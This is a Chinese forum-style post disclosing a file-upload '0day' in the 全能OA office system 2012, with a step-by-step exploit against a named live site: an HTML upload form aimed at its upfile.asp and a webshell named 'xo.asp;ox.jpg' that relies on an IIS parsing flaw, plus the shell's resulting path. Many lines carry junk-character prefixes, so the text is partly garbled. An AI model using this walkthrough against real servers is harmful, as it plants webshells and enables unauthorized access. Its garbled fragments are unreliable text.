全能OA办公系统0day OA办公系统漏洞 上传漏洞

admin

全能OA办公系统 上传漏洞
​
系统介绍：

全能OA办公系统2012是功能非常强大的OA系统，目前功能已完全能满足日常办公需要。

主要功能：
: Q+ j0 L4 H" @公司通告
1 @( V& h" g+ L0 ]# i5 H工作计划
通讯助理
客户资源
我的公文
公文传阅
/ k* q6 k6 h  M6 ]  u公共资源
资源预约
今日考勤
个人计划
: u3 \9 v/ m3 b, C9 o2 A5 G  }5 d个人通讯录
( N3 ^( R+ ^7 T( v- M7 e% I个人基本档案
5 [1 x' L2 d4 j. L$ P3 {. b未读邮件
: ^% Y! N9 v# D6 n发邮件
收件夹
" `; P* v& x9 O6 ]寄件夹
9 @6 t' k6 V2 N4 o* o! ~2 I网络硬盘
) }* L) H+ A. c: p/ ~) O% z. ]网络会议
, J* {5 A7 N& m* [7 y9 @网络调查
& w" g* U+ Y; v4 Z+ h: C8 Q6 b9 \2 K. F交流论坛
* T3 M- B" M( h9 `$ L+ |+ w
有兴趣测试的朋友可以下源码看看
; P" Q& [: T0 }" s4 w% T
  R  r# ]0 G9 z( o& k* m1 s9 P源码下载：

http://www.mycodes.net/30/4750.htm
7 U" |# o8 l/ ?3 j1 W
漏洞介绍：

由upfile.asp上传文件漏洞引起

9 E' Z  z3 v. H4 H5 X8 p- K测试方法：
! F. i4 y- f& R5 z) l/ W
& b9 T) }  ]0 N% q0 m& l: h% O使用名小子上传http://www.itlynn.com/upfile.asp即可

6 G2 p. c, O' j8 V# h如果upfile.asp文件被删除不存在。
% P% a9 }+ O% M
! X: I8 q! [  K$ m8 j  那么可以试着访问http://www.itlynn.com/upfile/upfile.asp 。

如果存在那么将如下代码保存为upfile.html。
: Q, Z( \6 {, G& h* F% w
然后将action的参数修改为目标站点的url。例如 http://www.itlynn.com/upfile/upfile.asp。
9 N/ v: ~& X$ |: k8 F


01 <table border='0' align="center" cellpadding="5">

02 <form method="POST"action="http://www.itlynn.com/upfile/upfile.asp"enctype="multipart/form-data"id="form1"name="form1">

3 H9 B! T1 @2 [03 <tr>

04             <td>报错：</td>

; |4 K2 |# M! S: n$ l05             <td><input type='radio' name='errnumber' value='0'>

) ]* v9 q6 U* r1 g% F06               自动更名

9 R. q8 E8 @, F3 {8 l$ J; C07               <input type='radio' name='errnumber' value='1' checked>
7 l% F3 q5 H) C
08               报错方式
7 X: j- I( O; p' n6 h! L
! o7 h0 G; d% u8 B09               <input type='radio' name='errnumber' value='2'>

10               直接覆盖</td>

11           </tr>
" ~" J9 ]4 n0 e/ V3 d7 X$ l- r
12           <tr>

- I2 t+ C( O4 I9 ]1 z13             <td>主题：</td>
+ q8 ]( R2 T5 x; W, F/ _3 m. B1 I
- ?- T, d- c' e  `14             <td><input type='text' name='filename' size='30'></td>
( U) h# q+ k7 p+ z8 w
6 }' x- Q6 I7 n; c1 V15           </tr>

1 l" b4 a; A  l" f: E3 c9 B16           <tr>

1 a. b) B  q+ T/ V17             <td>文件：</td>

2 U; w7 R, E' `5 b+ B( s% T18             <td><input type="file"name="fruit"size="30"></td>
, W/ \2 x2 Y% J9 c4 s& I. ]
19           </tr>
2 z: W% l* |6 t$ }6 v' j+ A# |$ ~
20           <tr>

- Q& x) A3 @  K3 n/ A8 f9 K, w21             <td valign='top'>简介：</td>

22             <td><textarea name='fileExt' cols='40' rows='5'></textarea></td>

, a0 t9 @  B/ D2 D1 s23           </tr>

24   

25             <td colspan='2'><input type="submit" value="上传文件" name="subbutt"></td>

) Y; B. d- o- M# U( A+ l8 l6 b26           </tr>
7 |" E" j( s9 b) q2 \& r) C/ u
27         </form>
( Y& Z1 {# ]' V! m4 M
然后打开上传一个文件名为xo.asp;ox.jpg的文件。



( G% t) g8 M; e$ G2 v8 R  e上传成功后，马的路径是：http://www.itlynn.com/upfile/savepath/xo.asp;ox.jpg
7 j% n2 h4 \. b8 b$ d8 i
. z0 ~. |0 X/ N5 H' c! X9 k+ I' b此漏洞需要配合解析漏洞利用。
5 r3 r8 B6 A3 z. e0 l
+ p. r6 e' x& t" K1 O+ W